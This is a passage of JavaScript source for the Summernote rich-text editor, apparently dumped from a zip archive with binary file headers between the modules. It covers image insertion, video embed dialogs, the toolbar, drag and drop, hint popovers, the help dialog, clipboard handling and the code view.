  afterCommand(isPreventTrigger) {
    this.normalizeContent();
    this.history.recordUndo();
    if (!isPreventTrigger) {
      this.context.triggerEvent('change', this.$editable.html());
    }
  }

  /**
   * handle tab key
   */
  tab() {
    const rng = this.createRange();
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.table.tab(rng);
    } else {
      if (this.options.tabSize === 0) {
        return false;
      }

      if (!this.isLimited(this.options.tabSize)) {
        this.beforeCommand();
        this.typing.insertTab(rng, this.options.tabSize);
        this.afterCommand();
      }
    }
  }

  /**
   * handle shift+tab key
   */
  untab() {
    const rng = this.createRange();
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.table.tab(rng, true);
    } else {
      if (this.options.tabSize === 0) {
        return false;
      }
    }
  }

  /**
   * run given function between beforeCommand and afterCommand
   */
  wrapCommand(fn) {
    return () => {
      this.beforeCommand();
      fn.apply(this, arguments);
      this.afterCommand();
    };
  }

  /**
   * insert image
   *
   * @param {String} src
   * @param {String|Function} param
   * @return {Promise}
   */
  insertImage(src, param) {
    return createImage(src, param).then(($image) => {
      this.beforeCommand();

      if (typeof param === 'function') {
        param($image);
      } else {
        if (typeof param === 'string') {
          $image.attr('data-filename', param);
        }
        $image.css('width', Math.min(this.$editable.width(), $image.width()));
      }

      $image.show();
      range.create(this.editable).insertNode($image[0]);
      range.createFromNodeAfter($image[0]).select();
      this.afterCommand();
    }).fail((e) => {
      this.context.triggerEvent('image.upload.error', e);
    });
  }

  /**
   * insertImages
   * @param {File[]} files
   */
  insertImages(files) {
    $.each(files, (idx, file) => {
      const filename = file.name;
      if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) {
        this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError);
      } else {
        readFileAsDataURL(file).then((dataURL) => {
          return this.insertImage(dataURL, filename);
        }).fail(() => {
          this.context.triggerEvent('image.upload.error');
        });
      }
    });
  }

  /**
   * insertImagesOrCallback
   * @param {File[]} files
   */
  insertImagesOrCallback(files) {
    const callbacks = this.options.callbacks;

    // If onImageUpload this.options setted
    if (callbacks.onImageUpload) {
      this.context.triggerEvent('image.upload', files);
      // else insert Image as dataURL
    } else {
      this.insertImages(files);
    }
  }

  /**
   * return selected plain text
   * @return {String} text
   */
  getSelectedText() {
    let rng = this.createRange();

    // if range on anchor, expand range with anchor
    if (rng.isOnAnchor()) {
      rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));
    }

    return rng.toString();
  }

  onFormatBlock(tagName, $target) {
    // [workaround] for MSIE, IE need `<`
    tagName = env.isMSIE ? '<' + tagName + '>' : tagName;
    document.execCommand('FormatBlock', false, tagName);

    // support custom class
    if ($target && $target.length) {
      const className = $target[0].className || '';
      if (className) {
        const currentRange = this.createRange();

        const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName);
        $parent.addClass(className);
      }
    }
  }

  formatPara() {
    this.formatBlock('P');
  }

  fontStyling(target, value) {
    const rng = this.createRange();

    if (rng) {
      const spans = this.style.styleNodes(rng);
      $(spans).css(target, value);

      // [workaround] added styled bogus span for style
      //  - also bogus character needed for cursor position
      if (rng.isCollapsed()) {
        const firstSpan = lists.head(spans);
        if (firstSpan && !dom.nodeLength(firstSpan)) {
          firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;
          range.createFromNodeAfter(firstSpan.firstChild).select();
          this.$editable.data(KEY_BOGUS, firstSpan);
        }
      }
    }
  }

  /**
   * unlink
   *
   * @type command
   */
  unlink() {
    let rng = this.createRange();
    if (rng.isOnAnchor()) {
      const anchor = dom.ancestor(rng.sc, dom.isAnchor);
      rng = range.createFromNode(anchor);
      rng.select();

      this.beforeCommand();
      document.execCommand('unlink');
      this.afterCommand();
    }
  }

  /**
   * returns link info
   *
   * @return {Object}
   * @return {WrappedRange} return.range
   * @return {String} return.text
   * @return {Boolean} [return.isNewWindow=true]
   * @return {String} [return.url=""]
   */
  getLinkInfo() {
    const rng = this.createRange().expand(dom.isAnchor);

    // Get the first anchor on range(for edit).
    const $anchor = $(lists.head(rng.nodes(dom.isAnchor)));
    const linkInfo = {
      range: rng,
      text: rng.toString(),
      url: $anchor.length ? $anchor.attr('href') : ''
    };

    // Define isNewWindow when anchor exists.
    if ($anchor.length) {
      linkInfo.isNewWindow = $anchor.attr('target') === '_blank';
    }

    return linkInfo;
  }

  addRow(position) {
    const rng = this.createRange(this.$editable);
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.beforeCommand();
      this.table.addRow(rng, position);
      this.afterCommand();
    }
  }

  addCol(position) {
    const rng = this.createRange(this.$editable);
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.beforeCommand();
      this.table.addCol(rng, position);
      this.afterCommand();
    }
  }

  deleteRow() {
    const rng = this.createRange(this.$editable);
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.beforeCommand();
      this.table.deleteRow(rng);
      this.afterCommand();
    }
  }

  deleteCol() {
    const rng = this.createRange(this.$editable);
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.beforeCommand();
      this.table.deleteCol(rng);
      this.afterCommand();
    }
  }

  deleteTable() {
    const rng = this.createRange(this.$editable);
    if (rng.isCollapsed() && rng.isOnCell()) {
      this.beforeCommand();
      this.table.deleteTable(rng);
      this.afterCommand();
    }
  }

  /**
   * @param {Position} pos
   * @param {jQuery} $target - target element
   * @param {Boolean} [bKeepRatio] - keep ratio
   */
  resizeTo(pos, $target, bKeepRatio) {
    let imageSize;
    if (bKeepRatio) {
      const newRatio = pos.y / pos.x;
      const ratio = $target.data('ratio');
      imageSize = {
        width: ratio > newRatio ? pos.x : pos.y / ratio,
        height: ratio > newRatio ? pos.x * ratio : pos.y
      };
    } else {
      imageSize = {
        width: pos.x,
        height: pos.y
      };
    }

    $target.css(imageSize);
  }

  /**
   * returns whether editable area has focus or not.
   */
  hasFocus() {
    return this.$editable.is(':focus');
  }

  /**
   * set focus
   */
  focus() {
    // [workaround] Screen will move when page is scolled in IE.
    //  - do focus when not focused
    if (!this.hasFocus()) {
      this.$editable.focus();
    }
  }

  /**
   * returns whether contents is empty or not.
   * @return {Boolean}
   */
  isEmpty() {
    return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();
  }

  /**
   * Removes all contents and restores the editable instance to an _emptyPara_.
   */
  empty() {
    this.context.invoke('code', dom.emptyPara);
  }

  /**
   * normalize content
   */
  normalizeContent() {
    this.$editable[0].normalize();
  }
}
PK�{�\䧉=��js/base/module/VideoDialog.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import key from '../core/key';

export default class VideoDialog {
  constructor(context) {
    this.context = context;

    this.ui = $.summernote.ui;
    this.$body = $(document.body);
    this.$editor = context.layoutInfo.editor;
    this.options = context.options;
    this.lang = this.options.langInfo;
  }

  initialize() {
    const $container = this.options.dialogsInBody ? this.$body : this.$editor;

    const body = [
      '<div class="form-group note-form-group row-fluid">',
      `<label class="note-form-label">${this.lang.video.url} <small class="text-muted">${this.lang.video.providers}</small></label>`,
      '<input class="note-video-url form-control note-form-control note-input" type="text" />',
      '</div>'
    ].join('');
    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';
    const footer = `<button type="submit" href="#" class="${buttonClass}" disabled>${this.lang.video.insert}</button>`;

    this.$dialog = this.ui.dialog({
      title: this.lang.video.insert,
      fade: this.options.dialogsFade,
      body: body,
      footer: footer
    }).render().appendTo($container);
  }

  destroy() {
    this.ui.hideDialog(this.$dialog);
    this.$dialog.remove();
  }

  bindEnterKey($input, $btn) {
    $input.on('keypress', (event) => {
      if (event.keyCode === key.code.ENTER) {
        event.preventDefault();
        $btn.trigger('click');
      }
    });
  }

  createVideoNode(url) {
    // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)
    const ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/;
    const ytMatch = url.match(ytRegExp);

    const igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/;
    const igMatch = url.match(igRegExp);

    const vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/;
    const vMatch = url.match(vRegExp);

    const vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/;
    const vimMatch = url.match(vimRegExp);

    const dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/;
    const dmMatch = url.match(dmRegExp);

    const youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/;
    const youkuMatch = url.match(youkuRegExp);

    const qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/;
    const qqMatch = url.match(qqRegExp);

    const qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/;
    const qqMatch2 = url.match(qqRegExp2);

    const mp4RegExp = /^.+.(mp4|m4v)$/;
    const mp4Match = url.match(mp4RegExp);

    const oggRegExp = /^.+.(ogg|ogv)$/;
    const oggMatch = url.match(oggRegExp);

    const webmRegExp = /^.+.(webm)$/;
    const webmMatch = url.match(webmRegExp);

    let $video;
    if (ytMatch && ytMatch[1].length === 11) {
      const youtubeId = ytMatch[1];
      $video = $('<iframe>')
        .attr('frameborder', 0)
        .attr('src', '//www.youtube.com/embed/' + youtubeId)
        .attr('width', '640').attr('height', '360');
    } else if (igMatch && igMatch[0].length) {
      $video = $('<iframe>')
        .attr('frameborder', 0)
        .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')
        .attr('width', '612').attr('height', '710')
        .attr('scrolling', 'no')
        .attr('allowtransparency', 'true');
    } else if (vMatch && vMatch[0].length) {
      $video = $('<iframe>')
        .attr('frameborder', 0)
        .attr('src', vMatch[0] + '/embed/simple')
        .attr('width', '600').attr('height', '600')
        .attr('class', 'vine-embed');
    } else if (vimMatch && vimMatch[3].length) {
      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
        .attr('frameborder', 0)
        .attr('src', '//player.vimeo.com/video/' + vimMatch[3])
        .attr('width', '640').attr('height', '360');
    } else if (dmMatch && dmMatch[2].length) {
      $video = $('<iframe>')
        .attr('frameborder', 0)
        .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])
        .attr('width', '640').attr('height', '360');
    } else if (youkuMatch && youkuMatch[1].length) {
      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
        .attr('frameborder', 0)
        .attr('height', '498')
        .attr('width', '510')
        .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);
    } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {
      const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);
      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
        .attr('frameborder', 0)
        .attr('height', '310')
        .attr('width', '500')
        .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');
    } else if (mp4Match || oggMatch || webmMatch) {
      $video = $('<video controls>')
        .attr('src', url)
        .attr('width', '640').attr('height', '360');
    } else {
      // this is not a known video link. Now what, Cat? Now what?
      return false;
    }

    $video.addClass('note-video-clip');

    return $video[0];
  }

  show() {
    const text = this.context.invoke('editor.getSelectedText');
    this.context.invoke('editor.saveRange');
    this.showVideoDialog(text).then((url) => {
      // [workaround] hide dialog before restore range for IE range focus
      this.ui.hideDialog(this.$dialog);
      this.context.invoke('editor.restoreRange');

      // build node
      const $node = this.createVideoNode(url);

      if ($node) {
        // insert video node
        this.context.invoke('editor.insertNode', $node);
      }
    }).fail(() => {
      this.context.invoke('editor.restoreRange');
    });
  }

  /**
   * show image dialog
   *
   * @param {jQuery} $dialog
   * @return {Promise}
   */
  showVideoDialog(text) {
    return $.Deferred((deferred) => {
      const $videoUrl = this.$dialog.find('.note-video-url');
      const $videoBtn = this.$dialog.find('.note-video-btn');

      this.ui.onDialogShown(this.$dialog, () => {
        this.context.triggerEvent('dialog.shown');

        $videoUrl.val(text).on('input', () => {
          this.ui.toggleBtn($videoBtn, $videoUrl.val());
        });

        if (!env.isSupportTouch) {
          $videoUrl.trigger('focus');
        }

        $videoBtn.click((event) => {
          event.preventDefault();

          deferred.resolve($videoUrl.val());
        });

        this.bindEnterKey($videoUrl, $videoBtn);
      });

      this.ui.onDialogHidden(this.$dialog, () => {
        $videoUrl.off('input');
        $videoBtn.off('click');

        if (deferred.state() === 'pending') {
          deferred.reject();
        }
      });

      this.ui.showDialog(this.$dialog);
    });
  }
}
PK�{�\0�V0��js/base/module/Toolbar.jsnu�[���import $ from 'jquery';
export default class Toolbar {
  constructor(context) {
    this.context = context;

    this.$window = $(window);
    this.$document = $(document);

    this.ui = $.summernote.ui;
    this.$note = context.layoutInfo.note;
    this.$editor = context.layoutInfo.editor;
    this.$toolbar = context.layoutInfo.toolbar;
    this.options = context.options;

    this.followScroll = this.followScroll.bind(this);
  }

  shouldInitialize() {
    return !this.options.airMode;
  }

  initialize() {
    this.options.toolbar = this.options.toolbar || [];

    if (!this.options.toolbar.length) {
      this.$toolbar.hide();
    } else {
      this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);
    }

    if (this.options.toolbarContainer) {
      this.$toolbar.appendTo(this.options.toolbarContainer);
    }

    this.changeContainer(false);

    this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => {
      this.context.invoke('buttons.updateCurrentStyle');
    });

    this.context.invoke('buttons.updateCurrentStyle');
    if (this.options.followingToolbar) {
      this.$window.on('scroll resize', this.followScroll);
    }
  }

  destroy() {
    this.$toolbar.children().remove();

    if (this.options.followingToolbar) {
      this.$window.off('scroll resize', this.followScroll);
    }
  }

  followScroll() {
    if (this.$editor.hasClass('fullscreen')) {
      return false;
    }

    const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');
    const editorHeight = this.$editor.outerHeight();
    const editorWidth = this.$editor.width();

    const toolbarHeight = this.$toolbar.height();
    $toolbarWrapper.css({
      height: toolbarHeight
    });

    // check if the web app is currently using another static bar
    let otherBarHeight = 0;
    if (this.options.otherStaticBar) {
      otherBarHeight = $(this.options.otherStaticBar).outerHeight();
    }

    const currentOffset = this.$document.scrollTop();
    const editorOffsetTop = this.$editor.offset().top;
    const editorOffsetBottom = editorOffsetTop + editorHeight;
    const activateOffset = editorOffsetTop - otherBarHeight;
    const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;

    if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {
      this.$toolbar.css({
        position: 'fixed',
        top: otherBarHeight,
        width: editorWidth
      });
    } else {
      this.$toolbar.css({
        position: 'relative',
        top: 0,
        width: '100%'
      });
    }
  }

  changeContainer(isFullscreen) {
    if (isFullscreen) {
      this.$toolbar.prependTo(this.$editor);
    } else {
      if (this.options.toolbarContainer) {
        this.$toolbar.appendTo(this.options.toolbarContainer);
      }
    }
  }

  updateFullscreen(isFullscreen) {
    this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);

    this.changeContainer(isFullscreen);
  }

  updateCodeview(isCodeview) {
    this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);
    if (isCodeview) {
      this.deactivate();
    } else {
      this.activate();
    }
  }

  activate(isIncludeCodeview) {
    let $btn = this.$toolbar.find('button');
    if (!isIncludeCodeview) {
      $btn = $btn.not('.btn-codeview');
    }
    this.ui.toggleBtn($btn, true);
  }

  deactivate(isIncludeCodeview) {
    let $btn = this.$toolbar.find('button');
    if (!isIncludeCodeview) {
      $btn = $btn.not('.btn-codeview');
    }
    this.ui.toggleBtn($btn, false);
  }
}
PK�{�\��"PPjs/base/module/Dropzone.jsnu�[���import $ from 'jquery';

export default class Dropzone {
  constructor(context) {
    this.context = context;
    this.$eventListener = $(document);
    this.$editor = context.layoutInfo.editor;
    this.$editable = context.layoutInfo.editable;
    this.options = context.options;
    this.lang = this.options.langInfo;
    this.documentEventHandlers = {};

    this.$dropzone = $([
      '<div class="note-dropzone">',
      '  <div class="note-dropzone-message"/>',
      '</div>'
    ].join('')).prependTo(this.$editor);
  }

  /**
   * attach Drag and Drop Events
   */
  initialize() {
    if (this.options.disableDragAndDrop) {
      // prevent default drop event
      this.documentEventHandlers.onDrop = (e) => {
        e.preventDefault();
      };
      // do not consider outside of dropzone
      this.$eventListener = this.$dropzone;
      this.$eventListener.on('drop', this.documentEventHandlers.onDrop);
    } else {
      this.attachDragAndDropEvent();
    }
  }

  /**
   * attach Drag and Drop Events
   */
  attachDragAndDropEvent() {
    let collection = $();
    const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');

    this.documentEventHandlers.onDragenter = (e) => {
      const isCodeview = this.context.invoke('codeview.isActivated');
      const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0;
      if (!isCodeview && !collection.length && hasEditorSize) {
        this.$editor.addClass('dragover');
        this.$dropzone.width(this.$editor.width());
        this.$dropzone.height(this.$editor.height());
        $dropzoneMessage.text(this.lang.image.dragImageHere);
      }
      collection = collection.add(e.target);
    };

    this.documentEventHandlers.onDragleave = (e) => {
      collection = collection.not(e.target);
      if (!collection.length) {
        this.$editor.removeClass('dragover');
      }
    };

    this.documentEventHandlers.onDrop = () => {
      collection = $();
      this.$editor.removeClass('dragover');
    };

    // show dropzone on dragenter when dragging a object to document
    // -but only if the editor is visible, i.e. has a positive width and height
    this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)
      .on('dragleave', this.documentEventHandlers.onDragleave)
      .on('drop', this.documentEventHandlers.onDrop);

    // change dropzone's message on hover.
    this.$dropzone.on('dragenter', () => {
      this.$dropzone.addClass('hover');
      $dropzoneMessage.text(this.lang.image.dropImage);
    }).on('dragleave', () => {
      this.$dropzone.removeClass('hover');
      $dropzoneMessage.text(this.lang.image.dragImageHere);
    });

    // attach dropImage
    this.$dropzone.on('drop', (event) => {
      const dataTransfer = event.originalEvent.dataTransfer;

      // stop the browser from opening the dropped content
      event.preventDefault();

      if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {
        this.$editable.focus();
        this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);
      } else {
        $.each(dataTransfer.types, (idx, type) => {
          const content = dataTransfer.getData(type);

          if (type.toLowerCase().indexOf('text') > -1) {
            this.context.invoke('editor.pasteHTML', content);
          } else {
            $(content).each((idx, item) => {
              this.context.invoke('editor.insertNode', item);
            });
          }
        });
      }
    }).on('dragover', false); // prevent default dragover event
  }

  destroy() {
    Object.keys(this.documentEventHandlers).forEach((key) => {
      this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]);
    });
    this.documentEventHandlers = {};
  }
}
PK�{�\b6,�ppjs/base/module/HintPopover.jsnu�[���import $ from 'jquery';
import func from '../core/func';
import lists from '../core/lists';
import dom from '../core/dom';
import range from '../core/range';
import key from '../core/key';

const POPOVER_DIST = 5;

export default class HintPopover {
  constructor(context) {
    this.context = context;

    this.ui = $.summernote.ui;
    this.$editable = context.layoutInfo.editable;
    this.options = context.options;
    this.hint = this.options.hint || [];
    this.direction = this.options.hintDirection || 'bottom';
    this.hints = $.isArray(this.hint) ? this.hint : [this.hint];

    this.events = {
      'summernote.keyup': (we, e) => {
        if (!e.isDefaultPrevented()) {
          this.handleKeyup(e);
        }
      },
      'summernote.keydown': (we, e) => {
        this.handleKeydown(e);
      },
      'summernote.disable summernote.dialog.shown': () => {
        this.hide();
      }
    };
  }

  shouldInitialize() {
    return this.hints.length > 0;
  }

  initialize() {
    this.lastWordRange = null;
    this.$popover = this.ui.popover({
      className: 'note-hint-popover',
      hideArrow: true,
      direction: ''
    }).render().appendTo(this.options.container);

    this.$popover.hide();
    this.$content = this.$popover.find('.popover-content,.note-popover-content');
    this.$content.on('click', '.note-hint-item', () => {
      this.$content.find('.active').removeClass('active');
      $(this).addClass('active');
      this.replace();
    });
  }

  destroy() {
    this.$popover.remove();
  }

  selectItem($item) {
    this.$content.find('.active').removeClass('active');
    $item.addClass('active');

    this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);
  }

  moveDown() {
    const $current = this.$content.find('.note-hint-item.active');
    const $next = $current.next();

    if ($next.length) {
      this.selectItem($next);
    } else {
      let $nextGroup = $current.parent().next();

      if (!$nextGroup.length) {
        $nextGroup = this.$content.find('.note-hint-group').first();
      }

      this.selectItem($nextGroup.find('.note-hint-item').first());
    }
  }

  moveUp() {
    const $current = this.$content.find('.note-hint-item.active');
    const $prev = $current.prev();

    if ($prev.length) {
      this.selectItem($prev);
    } else {
      let $prevGroup = $current.parent().prev();

      if (!$prevGroup.length) {
        $prevGroup = this.$content.find('.note-hint-group').last();
      }

      this.selectItem($prevGroup.find('.note-hint-item').last());
    }
  }

  replace() {
    const $item = this.$content.find('.note-hint-item.active');

    if ($item.length) {
      const node = this.nodeFromItem($item);
      // XXX: consider to move codes to editor for recording redo/undo.
      this.lastWordRange.insertNode(node);
      range.createFromNode(node).collapse().select();

      this.lastWordRange = null;
      this.hide();
      this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);
      this.context.invoke('editor.focus');
    }
  }

  nodeFromItem($item) {
    const hint = this.hints[$item.data('index')];
    const item = $item.data('item');
    let node = hint.content ? hint.content(item) : item;
    if (typeof node === 'string') {
      node = dom.createText(node);
    }
    return node;
  }

  createItemTemplates(hintIdx, items) {
    const hint = this.hints[hintIdx];
    return items.map((item, idx) => {
      const $item = $('<div class="note-hint-item"/>');
      $item.append(hint.template ? hint.template(item) : item + '');
      $item.data({
        'index': hintIdx,
        'item': item
      });
      return $item;
    });
  }

  handleKeydown(e) {
    if (!this.$popover.is(':visible')) {
      return;
    }

    if (e.keyCode === key.code.ENTER) {
      e.preventDefault();
      this.replace();
    } else if (e.keyCode === key.code.UP) {
      e.preventDefault();
      this.moveUp();
    } else if (e.keyCode === key.code.DOWN) {
      e.preventDefault();
      this.moveDown();
    }
  }

  searchKeyword(index, keyword, callback) {
    const hint = this.hints[index];
    if (hint && hint.match.test(keyword) && hint.search) {
      const matches = hint.match.exec(keyword);
      hint.search(matches[1], callback);
    } else {
      callback();
    }
  }

  createGroup(idx, keyword) {
    const $group = $('<div class="note-hint-group note-hint-group-' + idx + '"/>');
    this.searchKeyword(idx, keyword, (items) => {
      items = items || [];
      if (items.length) {
        $group.html(this.createItemTemplates(idx, items));
        this.show();
      }
    });

    return $group;
  }

  handleKeyup(e) {
    if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {
      const wordRange = this.context.invoke('editor.createRange').getWordRange();
      const keyword = wordRange.toString();
      if (this.hints.length && keyword) {
        this.$content.empty();

        const bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));
        if (bnd) {
          this.$popover.hide();
          this.lastWordRange = wordRange;
          this.hints.forEach((hint, idx) => {
            if (hint.match.test(keyword)) {
              this.createGroup(idx, keyword).appendTo(this.$content);
            }
          });
          // select first .note-hint-item
          this.$content.find('.note-hint-item:first').addClass('active');

          // set position for popover after group is created
          if (this.direction === 'top') {
            this.$popover.css({
              left: bnd.left,
              top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST
            });
          } else {
            this.$popover.css({
              left: bnd.left,
              top: bnd.top + bnd.height + POPOVER_DIST
            });
          }
        }
      } else {
        this.hide();
      }
    }
  }

  show() {
    this.$popover.show();
  }

  hide() {
    this.$popover.hide();
  }
}
PK�{�\�`����js/base/module/HelpDialog.jsnu�[���import $ from 'jquery';
import env from '../core/env';

export default class HelpDialog {
  constructor(context) {
    this.context = context;

    this.ui = $.summernote.ui;
    this.$body = $(document.body);
    this.$editor = context.layoutInfo.editor;
    this.options = context.options;
    this.lang = this.options.langInfo;
  }

  initialize() {
    const $container = this.options.dialogsInBody ? this.$body : this.$editor;

    const body = [
      '<p class="text-center">',
      '<a href="http://summernote.org/" target="_blank">Summernote @@VERSION@@</a> · ',
      '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ',
      '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',
      '</p>'
    ].join('');

    this.$dialog = this.ui.dialog({
      title: this.lang.options.help,
      fade: this.options.dialogsFade,
      body: this.createShortcutList(),
      footer: body,
      callback: ($node) => {
        $node.find('.modal-body,.note-modal-body').css({
          'max-height': 300,
          'overflow': 'scroll'
        });
      }
    }).render().appendTo($container);
  }

  destroy() {
    this.ui.hideDialog(this.$dialog);
    this.$dialog.remove();
  }

  createShortcutList() {
    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
    return Object.keys(keyMap).map((key) => {
      const command = keyMap[key];
      const $row = $('<div><div class="help-list-item"/></div>');
      $row.append($('<label><kbd>' + key + '</kdb></label>').css({
        'width': 180,
        'margin-right': 10
      })).append($('<span/>').html(this.context.memo('help.' + command) || command));
      return $row.html();
    }).join('');
  }

  /**
   * show help dialog
   *
   * @return {Promise}
   */
  showHelpDialog() {
    return $.Deferred((deferred) => {
      this.ui.onDialogShown(this.$dialog, () => {
        this.context.triggerEvent('dialog.shown');
        deferred.resolve();
      });
      this.ui.showDialog(this.$dialog);
    }).promise();
  }

  show() {
    this.context.invoke('editor.saveRange');
    this.showHelpDialog().then(() => {
      this.context.invoke('editor.restoreRange');
    });
  }
}
PK�{�\۩��!!js/base/module/Clipboard.jsnu�[���import lists from '../core/lists';

export default class Clipboard {
  constructor(context) {
    this.context = context;
    this.$editable = context.layoutInfo.editable;
  }

  initialize() {
    this.$editable.on('paste', this.pasteByEvent.bind(this));
  }

  /**
   * paste by clipboard event
   *
   * @param {Event} event
   */
  pasteByEvent(event) {
    const clipboardData = event.originalEvent.clipboardData;
    if (clipboardData && clipboardData.items && clipboardData.items.length) {
      const item = lists.head(clipboardData.items);
      if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {
        this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);
      }
      this.context.invoke('editor.afterCommand');
    }
  }
}
PK�{�\U�E!``js/base/module/Codeview.jsnu�[���import env from '../core/env';
import dom from '../core/dom';

let CodeMirror;
if (env.hasCodeMirror) {
  if (env.isSupportAmd) {
    require(['codemirror'], function(cm) {
      CodeMirror = cm;
    });
  } else {
    CodeMirror = window.CodeMirror;
  }
}

/**
 * @class Codeview
 */
export default class CodeView {
  constructor(context) {
    this.context = context;
    this.$editor = context.layoutInfo.editor;
    this.$editable = context.layoutInfo.editable;
    this.$codable = context.layoutInfo.codable;
    this.options = context.options;
  }

  sync() {
    const isCodeview = this.isActivated();
    if (isCodeview && env.hasCodeMirror) {
      this.$codable.data('cmEditor').save();
    }
  }

  /**
   * @return {Boolean}
   */
  isActivated() {
    return this.$editor.hasClass('codeview');
  }

  /**
   * toggle codeview
   */
  toggle() {
    if (this.isActivated()) {
      this.deactivate();
    } else {
      this.activate();
    }
    this.context.triggerEvent('codeview.toggled');
  }

  /**
   * activate code view
   */
  activate() {
    this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));
    this.$codable.height(this.$editable.height());

    this.context.invoke('toolbar.updateCodeview', true);
    this.$editor.addClass('codeview');
    this.$codable.focus();

    // activate CodeMirror as codable
    if (env.hasCodeMirror) {
      const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);

      // CodeMirror TernServer
      if (this.options.codemirror.tern) {
        const server = new CodeMirror.TernServer(this.options.codemirror.tern);
        cmEditor.ternServer = server;
        cmEditor.on('cursorActivity', (cm) => {
          server.updateArgHints(cm);
        });
      }

      cmEditor.on('blur', (event) => {
        this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event);
      });

      // CodeMirror hasn't Padding.
      cmEditor.setSize(null, this.$editable.outerHeight());
      this.$codable.data('cmEditor', cmEditor);
    } else {
      this.$codable.on('blur', (event) => {
        this.context.triggerEvent('blur.codeview', this.$codable.val(), event);
      });
    }
  }

  /**
   * deactivate code view
   */
  deactivate() {
    // deactivate CodeMirror as codable
    if (env.hasCodeMirror) {
      const cmEditor = this.$codable.data('cmEditor');
      this.$codable.val(cmEditor.getValue());
      cmEditor.toTextArea();
    }

    const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;
    const isChange = this.$editable.html() !== value;

    this.$editable.html(value);
    this.$editable.height(this.options.height ? this.$codable.height() : 'auto');
    this.$editor.removeClass('codeview');

    if (isChange) {
      this.context.triggerEvent('change', this.$editable.html(), this.$editable);
    }

    this.$editable.focus();

    this.context.invoke('toolbar.updateCodeview', false);
  }

  destroy() {
    if (this.isActivated()) {
      this.deactivate();
    }
  }
}
PK�{�\[G@Rjs/base/module/AirPopover.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import func from '../core/func';
import lists from '../core/lists';
import dom from '../core/dom';

const AIR_MODE_POPOVER_X_OFFSET = 20;

export default class AirPopover {
  constructor(context) {
    this.context = context;
    this.ui = $.summernote.ui;
    this.options = context.options;
    this.events = {
      'summernote.keyup summernote.mouseup summernote.scroll': () => {
        this.update();
      },
      'summernote.disable summernote.change summernote.dialog.shown': () => {
        this.hide();
      },
      'summernote.focusout': (we, e) => {
        // [workaround] Firefox doesn't support relatedTarget on focusout
        //  - Ignore hide action on focus out in FF.
        if (env.isFF) {
          return;
        }

        if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) {
          this.hide();
        }
      }
    };
  }

  shouldInitialize() {
    return this.options.airMode && !lists.isEmpty(this.options.popover.air);
  }

  initialize() {
    this.$popover = this.ui.popover({
      className: 'note-air-popover'
    }).render().appendTo(this.options.container);
    const $content = this.$popover.find('.popover-content');

    this.context.invoke('buttons.build', $content, this.options.popover.air);
  }

